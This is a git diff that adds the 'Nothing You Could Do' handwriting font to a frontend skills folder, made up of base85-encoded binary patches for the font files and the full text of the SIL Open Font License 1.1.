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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/NothingYouCouldDo-OFL.txt b/skills/frontend-dev/canvas-fonts/NothingYouCouldDo-OFL.txt new file mode 100644 index 0000000..c81eccd --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/NothingYouCouldDo-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2010, Kimberly Geswein (kimberlygeswein.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/NothingYouCouldDo-Regular.ttf b/skills/frontend-dev/canvas-fonts/NothingYouCouldDo-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..b086bced91e7b587e8cbe5d7e13e3363e18bc812 GIT binary patch literal 32020 zcmcG$2Ye)1buM1_R<7!<&Rv~z&Oz!{Y~?VLW+aV9lV^8w-r3oi*~Dfx6HPD}mc=9! z787iYF*tzzjKN?GHhu&fY{DZLV{9*AOd7rKmNc^qhWGgYf4?WGRn@nvt8Sfp;&;v| zj&K}j=kDitZe?zIW|ni20gQYbFaPpdy>;rz?wuS*?#KJX$8I`uF?98jI^KT?uh*P9 za`__0op}8(yp&Vt?>zZ;&$}dYoVUPnr@wvr#F67a_`dz)ICdVNcTQtKi3|9QWbi(7 z`lc&)Jn{|g-#AXgIfO5rzxmja+^Q|Yas1sJM=#xU<c^Ev5weKm1stEaaO9>F2S5C> zyEsn#cN`zPc=P2euRrzJevUKnUhG`FbmHP^=>-qt*e~EE{{h)}_}#(_@pX=DY;X>2 zInIU``=M-<bgeOr<F0?36S*fi0iRgk!2fZ)cy=5%AG~^o<D|i>Z@#)+e4q6#e0c2# z-)83~Wd5D><EL+QjC`Nd*_1i%V<X4kb#069o)O>2e-Q5#>niL6p8CkI;mRES1bsE$ zzj$*?zR9)ODcNK;e_qFN^>L0{*m}#Y?Ay79876*A`9EWG<3C7ViO<-VIP%x@Ke0(z z@7O7Lyu8-Eu&qEI!}}ZXZIO#{_j0epy}y&&AUrXMNs=T>3Zy~$$q<<)^JJYIA;-xX zatpbayp(=~{yqI-jF0KDcx)oJCw3%uF7|Njy9sY1l!zr#iCkhRF`fABWGdzUF$LAx zEMCXG9_N2Ip+q8n5+WIr$NBrnAekU@WQFXt&VQa<!TJA!evW=2Mq^qm78{T4jvbDj zjolx6I^jtK5|Km#=O4U&eyr-oS2vDr{OQJrHa@uV#~XjR@p~J;yYcRgcWu0N<F_{6 zu<@FWS8u#*<0Ts}-gy4T;~S4|T)8@NwRyGiRohpkuYB(-fA^ISedQ0n^6sy^<|~aa zyS{9E+5TnQm(?%*;7i~6(xYE;|5IA(-=rn(;Q#$kl{-R2@;s{2=h8RPPt))7NBKAM zf5rc+zzhAtIpNj9KZ$MeW#ZG)kaUamb-5z1$q&kZB!6G2Dd&{0sW+%!(Tdvrx~5;$ z|G~D?cAM?v_EGzD4Z}EYyvbpAJm~me&XV(H=TpvaxsJL%=2qP6?l-tU<Pki5o*O*3 zc|Phjy}P|{_kPc}?t6pZ>F@Zj_&;Wf<|F1O12k|p@TnjPjt5^F{D+V|bZh8?VKuxS zerNa#k!Ivb<fh1HqS@#xVvg8C?1Qnd#h2oH;~$NGJ8>rQ8;P$a{v+|zq%XOad~Ndg zlV49hol2%&n0jOC{i#o;{vq{^)OS-GX+3SG(-}`Do+)R#nW@Zj=0N6D=5pq~%+;)x z^=DJrT6QQqn|)FCHQBdje=qx?>|bR+mn-C6l6x}uw%mJjf13M5?(_MZ@^|JR&c7u8 zWd3dWPvw75XctZwK3w>l!WRqwT=;&G6z#?3;(_9+;^pFf#pf4aS^R48--<sj$t6!I zUMiQmrK!?#=|JgJ>2m45((_BNEWNSxuF@ZtK2rL0>7PpfQu;xeFFVTNa=zRyKU#iS z`8UgNFTbz+Kgyph|3mp3<?og^Dtg7Nq$~BxaAmHtR=Kfqu5x?j!ODv(PgLGgc~9ko zm5*0GTls3`-zq<@%2iJ_UM*L<)v4-o^+5Gh^>X#T>hr7rQH$2*YNu)s)ZS71VqLC# z>hXHH-mOp7m+J@Wr|OsM_tl?Ye`WoR^>@|(u>O(yr|bVz|Cjm?8hpdiXg3Zt?rA*H z`2EJWn(^kY=9^m1R-tvM^@`Rf+oXMG-%Q^PeP{b_vl!XQ{RPtmf(kwH3i4-L`-Cfy zS8wf8&LA(?+UL35q_edzJnI;d3z5jyxWuKnA8qZ++(qtrTl)%R|LoSj`mBBJS=ZIM zKJME2ZO_`bKkFC+M=%}6=IplSkl;>pSMYn08{+Etz04isE^%k@{tEVMc%9+SV|z13 zPvP@rZkAj6x$m6AF*k8Xxf3|%Ja;FKJAv=rj{j%43;6CaeETMD@#l_8aC1L%+zuRd z1!rd8IfZ-NhxfN)J7sOpbH}kijr|0UxQzct@VbI49>FIkaQ-9MKZmiKxs&++f4f?Z z``PPlUhSD{u`BJyc`sQMxEXUwa82Ax1Hb+M?d(5$Cqp>)XV3o2?}i=Q!a19G?Zov? z;hxW1_wuWrfzA0MsLodHl(jMmt^k@BpLOO6_Wy4bVc+`IR<Z~>B)DDHTCtUw#SAWB zEfU<CMg1#Sd$t-UFtWK;=dnG8_ZL9T6V^)JihZ_jmv9VQb$09;w++0N0FPa?j(zr- zmwx69?0$aH>aZ0`;P;ui{p^()*W88|<LM*d*z?wPZ^wH!hfSWE<tDgQYyS#lf}QRE zkA!g00oD)O(hxL+#;K6=5&AovoBTbz!+B08_d^Ol%}tR67v=tobJIFL+sEnLdpEvE zp2pZqp&L4!NxqJ)kJD&|^HUke#Wr8$EY9;KeD*ZwAdkR*yoU>O@7nkd`4nd(@5J}^ zaS?oHoIb&s{PM;V^shNDy^|C8E@#qj;T+%O9P}_J&<}GVczPPWz)?QTdFUT=PX0f+ zB;UiB1K&A}>#lNB^j-MQNsQI7J<KI(gA36=!G4enl9zI6eu0bP-cq<XFZmPB4sSC- zFXJAc;;J|<hPgO#k3pJ%=ky-T{WEx--3ZeXr*T(t-ygX87W#S6V4idFgSh56_TPzX z#5UdxJ?a1*qS!_-rsFe{dN>#E!$E$4<KDlqn|4482k3AM=O-1+(}THaoWZV1mNvde zcXIuhr<;9F4{{6SAGwqCDNZ5pz&$+0*(lF#v)<3+dw1g;{qS|a!l~Rp<Ge4y_3GRT zndDx~Jq`T|-H&;u=yuTf4Y<!ij$jLoyzxp#>tFPe1~+<){ub>S{kL9>_RoIt-Hm^~ zPJ2fGXTP4}*0<IqX{`ZU2fP^l>AsB*(BH7uBxcc@(fnC2;UeBMS}@u_>t)fN(f=y^ zOl-*zr(B~wqyMvC^b}XN)`ZdjSuczJv5miBTZ`A&b=keL_5LN>YkbJ&!f0V_!H*VC z{QMR?%J>8??=@O6ezkZ8{K|NS{_)25$^6FOTC@Z2T-!2wu{jI(a$Y`!^MH>TFJ0e) zrx{-{-u{JK#_#N28LfZOmdOC)L#zS2|7)_q_>sxPv$y0k8-GOJ44Kb!E$da}Cdn7L z=Ya3l$)j9=G8u)OShRthFd1cXV#y<u2_}n>hwF32+;DF?*4diF&u_2K=|?#CQ(S_3 z8&~Fj51Q>B@VJ|+L$3^io=NDaLFkcF;O`~!2Uv5aL!dvH{-J-)`J^<iQ{&1w&P5;R zT-O4sjrVYE?ic)6(J#SKJR(7nlQ<c%nhHMG5jom91Cr&$S=^il>*?eCoXG{aAoNg} zi$L?mxH#sTgg=z#GF+C+ae3IMB3HufD_j+NzHV8~7Ovh0i`?P5+yL%mh#TfcxKXah zjUg(V;3nZeOmj1^QFGip?8^e|;1ahT_Ia6Gfu7$9tFwz+hc(&5?S;>=pF6-E<PLE+ za5r*?VI$tiJ;XiC{W13n?wi~r+>5y9b5DYTZ-Qs`Aonupf$wrJ<X*`=#{CcOAG!bF zUduhjeV_Xt_n+JwxOZ@W$$bRT+EG}(U*nE*ABU~^DEBe$liXi%pWyx)I^`sE|EIXW z;ob$i{qNjMxX*BZ$Nf+4H1{vuzjBYm-#Y_)d=qTc1;l+fLuXyIypdaBt8RmZ{T6oz z_Z;p{?k=q4-P|7_GQ1BF=>6OSz#P8AeSlEHb3f&-5&`j$L}Wyz98ri$G@=t5u@eIp z=ZC~WoWw=k#6!H?kBARZrAY$Nd0!<##Ft?bAyE?J-p&0EiIW6Lk`zfJ>dcZH_harS zKr6n62(&<oq(sW3LaL-j>WE02q{aOqX(KZ22mgGX`v&)B?sMFixqkqseUbY-_fMot z1`xFlkzq1IMoEv1k#WSZlVl2!@(h_pG&@hWkp;3ymbl;L-oyPq_df2=!ME?_KFmFr z`!nuQ?(N*4a3AFUh-~Lx!2KKdA?{D5iKCZJ+;&1bVr}%PV`nZMyY;4%=TF?BAA4qB zn>v2;l_STFow#sCJ9d3nnm%^q(#;pNnd>9kiR-)4jP;>(!rJI_&zwv@^~}CDcl`_6 zsq4G?{4+=Br=QsuP9HsTN!oVh%=zOd^o3`}^|R0HOG`(N-FoGObbfQQV{>z1>)qy@ zE?67;^66VIoH}yp)|<{Bx%G<u=4Zc?c5Z&*(&lF8=JzgbZq_yjFIyXZ?U`%qm!H{} zc5NPft2J9`eUr?$S{rfw(wPgV#9P^a`}(u5Yrpl`@AN&-oKL^~S^N8*wSVU``_lf+ znLWqaX#1}dRC~_#UHR4vXPPsO*4DPYwVl}7PHt|SGh5r)&23*}Yunu1_II|n-OX)h z>+{am=bf$dbta`fr!E}<gWbNl*|Ryr+pUed=lGcumrh(hb6LIp+Mcv;^T0c;jWBcT zrJJEBDYPKv{*8Vg+c3v<b3JPM4U+TZdJ=XdU9krOf*`vB6{<J`kytdW6V)9I$08xq z7V!{=BjKf_CN*Yu?b<OE6UD)`<A>K;63#k8Uc`No?uUL&aGa+G$?C+2LFH5~U!#59 zz8LlSBh&#YeLqz_K7}f}K-Ej4NQvPx2(j@l@+!eao>INVfp%V014gM@He6~TLhQvt z6sp6;?!b+IPr>s!486o<aR>RFBpae!gCyru2B~47C**Uut$dH~_V^f){XN0NWQghS z5!|nAP(OAlJ~1f1A{#uu&P!f4*sT$RCzHIQ39=kCB4N8AJKb(cQYrC8Q}LiECOhNp zu;v&YYYM?mryCMIe!n3|@tohL={ALk5)CfR)YP2^W3>S9=JWl-)qtWD+e6K)NM)PX zLA3!wvIVay$^Kx#XV*RDQo&&-L@*QCbWF7+GdU+uiD=VRo8d|I6^Ko=g>?h()pR;U zvQ;sVuf!FXJsgQTctUvH@0H5UvP2|BriRmL2!h?I_YJl+s9u+t5+zT*KjxP_sWby; zIoHNj@-cW0Q?Nz*H+i8(<Xm631sX7=*r^GiUbiQJRt7cOEx+kAcr!)~!9lzrZ`Yz0 z#Tw^9*BX&z$-geBx}v2rHk;rN`2{6J1_WO+8x);du~v0RcBjkZ)dgOW=m}mSnW<(# zTAVc!gLC6mzG`<k9`?8Ed7b!E#cWg>h{RRJmvAe(?l0#PK3P;EiXiZWD)hBBug@P& z`3*x=H6dQeo7AtGfq<scG*!cW)o`m`$|b{o<xy(a$PWcaB;$024H{?`{>meUQeG*n zftf^j1$okhujq#LufvXS2Q_MhF%LKxyhUUw*Ue!cyCBgo|A@bSQ2zR!NmUY^nwgAx z45|qI_YLaKKbO2grzY49{jdK|AHGq(b{M_B*GFCa*d4duF(%mq5#^T8UvLP^9;aY> zVRGfs|I>%$R*zFOJ?uF7`X1v0_r^QPE%aZ(2TSltIFm_KjY5K?90UohKx0r6J*FrG zlZiC`4^bvgJd+z9<nebPgI#~8n?A2nO(m_G>PwfBE+x>lDXB(Pba-@;Qr;1ZCtRX0 zQ%<_nfdRvlspbQ`l*lBds2Fb4GdLx+2a+I4EUnr?x2j$-HKY#Bj2pI4B%VlT@;=cB zI<kd|Z)Va6HAaHaRBqXf`W)Vf9}FJPRqJ&>A=Kt_J8i@_yRBy<^VH3Y&a~kEbzTz@ z48#9@33oqTW}3v)XE8gwnS71(b!J3ap}Irm1=ZoT5&V3exP5*pW_J~u&GaT$vvWi@ z-byt31Ne%JS9+ppKulr+L?D%~@q5!DF;VTbOImVzFt3HOVmy-qIl#7ZG7}G#Z-3<Z z_nz+Q(b$Q5p8wEoMKDA-Y$}9E@k|nDcW=Cc`vOnkpJF}wAdP)ki%yq`o|n?KZM{BT z&<DmNVz|=oU!^i#`snBX{szS-Rv&%xt*^d++0D)YzdT6Z&vFgjoIz`(+o_QhHa*-b zV{K|O(eAN<ZpRPF-df~1@ul-pjLPZ!2Y8p)Yv&c-5sn9JlD}Jvh%^*-OS<WENrK(s za@cq*7u7V4`fZZOYtZEQ#6(g`4NP|8>dEw@RFp(Mm0FfP;Q+}t+)hbyxCP!GjXA>M zs6!NNPFamb{WO#y3gw+1Cog+)twv6!f-GVo4c+EYZ!z!oWU?90G^4$afAi#p@W(-W zKA+B8_b>+i-||OE3pWN;1=eKuP$TcvY?454F~J2EtC>WzX;L&9m8hHQ>0FX2dSauh z?#P!4t_a04$cjW>i?x(r$_oNfd6y=FABu&%n<%*W#`iXk!Z&{{q6SX3WW=H;tPq&U zCVHYVNmbwj3lKDo+B{fXJ5^q4WV0EYJCn(JBaZ&r5Fg7!5G2ANTwn_#`3yN@@njA* z3w9HF)u6ekJvz4chJ8~>Rc{aVX~Fr$X%eyryoN$-0T0h~p~uehV4;nl!cRX8%g*dN zv6ObouqSew<cK76U)dCcj--!gS2H&@NRGZ1aSl6HV9dZ|dFzknOvzK|4EB3<1GgbX z6HyT+&clm_+pF_fYdv@F&in5;la&>hPqL5CkK46or=c2y6QgdZ1V|ahe11YcO^+bX zO0#uhG6FFZVJf6<CufM$F^{7>wqt!yA!c}6(<`e>UPrZmu-nQ7sF)buzBE%-b#wjf zZ5Iv=>S6E7smm8`7;z1nQgLQ&|LTNmAnTbtbm81#c0U^a33T0(Mr%F9EwhC+%$W|s z?H74ZC=&AURMu=xNVY4QE#%`qN?p36Z=j(m^|9Hpx*~<6VY}oe&DB%qPOY{GmYZ<? zjUQ1zl@R%XS{+MVn2(UNR3jsrzsG~zUO8t7DMM6qOS5A^yBN$BbEaUp`@79J@Ageh zk9(X`yAG_48<fU&-FR&OlCB5z>e}u@ok&Dh9Zp3wd<lmT?khIdR#xkxJC<+@KI);O zCy@=XHHJ)+f1~?gqd-yGVe8iIiSTvUWcY3a-VAmGX0?2lss=wsd5ISkJs1wze9QaR z`-F^pXned8l<d`dNsm{XIhRhe-LY<l7TYWPldi#iH{UZ(6;seuh36qggl783du<1A z_jp8S(9!4)g%w?~Ie0S^)U?v-WJ(J6&o0dMg}1ob4XlKtcOnYj^3X6r=9OW>%q0ZL ze9U*arg%D*xMEbw5l!|-e2TZPJJ45lFe2uYis|EZr&AF9K~o5H`rE$da6aNTZHj5S zh$|^e;aF7l#R6_s4w|W%>8T`d_j+ZU-`gG@?+pbdJ(x<x6s1%vDJHKv+>$Y{xW6HX zTN5L7S<+pGrszg;erbCKFq}nanTm7|VtA%u`r*4`uArr5B{ntY=G+Mr)AW|^Wa@cA z@wjZ+dPN>QwN#WGo$=|RqJ)*TOT^(dRrmJ2>*0XcInY+C?W(H!-8yg9>&;NRt;B{_ zZaArfL7lqDD>9KfYi9;y4tp%-6Ld2acJS$HNpm|DC>L)cfutfY!$r4?nxRR0XKv^6 zY@IpBkT{v_q)y-$4Qu|GIJkr{s3Dr|9<i()Tw?Hza85P-Zb??1LZ&^^Eo+oIYwcFn zBkDWP3^`rZvBkW<)hL?8p;g+=xS+!?HuUnYl0Lp;b<pn>LcF8gKRh}dDu<2g&}h{& zY*!+Me2k|ye=H6K1I+{!=~FZZBn9#VYX+ZE%!8D<p6Hhi`5u_PL?$82;dtEC#M+Lf zm4@3lxPEB=Y)+Em<-TsG0q0Jpw!w)Zn=M~!){BPCV-tCsX?hv4Bx7>lsbhPGyv(0* zK(~Dc$Zrw2%no+{unQKa)p*D*Zr+Spnhw?hu8TpSkYF4cPkLgofh}u(h+g_2RV}|m z^xBksIj5-32y))dfyqiL#2a>n4|Y2(uWI)gMt3+e?HXAu+GP0uwMJfe3_cd5MxmC$ z5#71YU{2O;xl++kEgmeDEA{?ZT8j;*cuCe3XTDqyqz0Siayh8ex*lrw`e8!~&9)bw zsitdiM8r@uBnmFNUst6-bsFpJgf_TH6(Cj>Mp;WU^)p=n$})vy2$pjOL1UbIo8)jv zkz_=2CGnH?gr)lOfkSy3YmN-oI+$#1W@5mtWvk6{N>A4l`q0FXu1kv3qZ7NkH#uPX zs>;fRI}Z1e+hI!;SGsP3qoOH<dlb<m;r5dKus-lvuGt?1mW=vL?~{m()e=?B9};w; z`|Wn#7BCGL!YY?3Yb2(bE<sg89%ef>zOymQ-A69qTv29W8PDXQ>za&nJ$T#pNj2)E zG?Md4yr}E4n|d<&T!qrAY}nM_f(_3Mj?6ZAQPTo*3sWVDdZ9<F0)kG)kv5K!572RD znX+)_nJVpxOq)6g*a8e<O_{u4^-c56q=)ya*?M0stBP)isC-rrm5PFWYH7;Q1l_N9 z&P^K8SkkQ|%e8V+p@M3tpV2d!2(MOKRmC23LKOmG<j5<5x%z=9GWrPZR;T4}vzUUZ zJ=`D|)8K2wl)}xCPM%jv^^zj0eD=uUT|u|AD%E;(V+~cPO)O5-Ow|D&MnKeOlSQY? zA@J(cHm^;TT!yHrl4Z3J<dFf~V{Y?$`5J5@>BdABE908DZ7tF_-bqRXlHZI|;u3sQ zv*S5Fq{Om$IIz@i*m>S<dK#Uf!ETU7OU+tNMTG7wH@m}QaV=Y^72^_*!(c{nkK;h@ zQ@kBKz^=(0&K6sF9&(;bCv%;4622L`Hr$#WiYm$un?&tlxo`K`ql^CP+|~b3Y#tH{ zj+C@O_4Ye%%D~l7L*Ny^nF$I+4^1!bSeR%=oY6>iFw(zcVSPk^p0=o~(B~kAnFXTC zEF%;PR?v&s4O+$^aLGxJh5WERF-sj_&EbofF~m7t$cbw!^oO7P)Yy#as?YA+zrGZ< zJ3T%}q1G4CGufnE&=Vu0Em4r|2E1>ZU7Q_L#rC${yXMPcz&AX*V|jVLXG+zTGv|&` z>WO$XYJ_|a-Mw<|-g|Gqaa3>gq7&m|VQ)F@6$s@8Z*Occ!G~S>eAb}|ROaiKcjE$` z-52k=XRuWjB8`#ZraikjJCrxb6#;@1D%VuS6-zQ1dG$t%ALIp~%zGdsVBt1YdVgPy zZlWHHn_0BZn^H~4r*bI?W(wMtY-+d$ZX9<j@8InU(S1vM4{WPDeQwGp3VE%6d2XR$ zcPf;MB2NU~nJ*;EVVA?>B&x1awK>#p3wB2*re|m8$WIV;x;vekDk-WW5<N4x+I>HD zIBij*yS8&u2Y=Xj4X}m0{jS^ZUG^KDwZq4EjjHX%vEj5HY)_5VWfrj+m|kmc*UEHB zB%cIlD+t3%6U$2zZgKSN3zwkTy&L~Y-@!Yf?IwVeGY;$9l-nAybYD;06enhf5pBnq z(Z(_(e6P{2SMvIOJsIp^v7lF4fWKe^dxuRIZ|7y==21RF#rpKx&ZSOJbxbWxIq$gH zF@EtyFTAVlNw{cauyOXuQ%$~m`c=nux6=S-rC`GA+Xtdj<;bCxFtlq_(s)-QQ;AC1 zR=1UvBIR7h<o!V(j}OyfLrNq&JI7mop|y1Az-pgCB(vLJk4i>hVRdCRVV{{(G2La} zW=C9=>dY)IPPPrntPF<jlM54eh#9n(fXHqX7@lR_;a6`iHB<V~{D$af7OVryDxMpy zsomA1hj)cCjVQFP%cBxF54@<RkDNKRt0OmigGUbRZ@PV=G`#2Zv2{JL^Tg#V7Y<H4 z{Uq8R94vWNC0VLuLsV_wc+W%k+}Ku?iRJBHIpA^)jE+{km<===e;HCg%=FCWI?$SB zT6w@lpgly7&1e%#U~*~5rf3+w+b&-ke((jg)UG?9dv_IF#>e{WC6C)dRhx|};8<1F zBL(l^Lytc;(r{G{-Tji6JbrFkcbH1NT<$L|J#=oh<?;^q!9MC_{?v`<mLwyZ%fuve z+sc9&t!CqnQcWyW3pX4)dGx^c;gpQox{+nR4BFkuW@`}&yumz@Egu1I7#D$Kpp{ch zfn4|QnfMUdIu?pUk{RsCoI<yxYQ8|&A=+IsOr_IKc^7p?gI<Mq0aF!b&OY?e9lJ6f z)#LSRje`dd))K91HKLC$@7+EG%ie#>&1dVm5i`1du3ub#a$S}vB{zNctgG3sI|a!U zrOf2SR95wPd^#f&fxv}JrCQu3OLn&&3V3b29u81m5)lN+cC|XQzr!0opQ?Ib2o<|G z8JT*~HqGPIh~0sZ+F^hjO~LDwbVM}-*)WbT^8sY4m}Roa(Xps9My$6m;JDpXjiytE zfS}mIQK{+k;+^F}xkb_D5JfWx494M7;Rgl0(j{5+#J#6Jaz=8qln;V#vU1y=v1ZxS zRfOCFm#^G9ym0yPdk?!3LjlRB!-z)gT6?fhvw7TZn+%N5_PKB-<TsptkvKeV9<jJ! z4^^j|K94J@Yk^c)HmTiARtAz2kI$%rB^w(*p|7W3M5fL1{FrRO!;(_)=dh$~w$#re zCTnFSOK}Jg70V+;^tMn**cx;D4jst3voWt^czC;Jw+qK!Sf3h|3)A}#?VU_Z&YYoI z;jRa<gLC!d`JH9E+UPVjAzQE6?S*Ei)7F!RZ@KHXbE{1%+JdQMRHk&9ia>OOx2@j# znuA#(+nwsQZM-V-PB%gu2VxvPnoc?OuoX)4iF{tuQ|UN7dgeiMyp7LU){TWxOy>Qt zUvOP59=;yF!--%<&RP`~a4{F3-5ro0P4p!aVM#W_v9KwFG5yha(9XN-&4&BHP1`zY z_$>mp)`?2MKSUSdBgMR295&!(P~GkK08yLVv1@tS@A8`w0GqmFa_zv{q{Gpjn4j!8 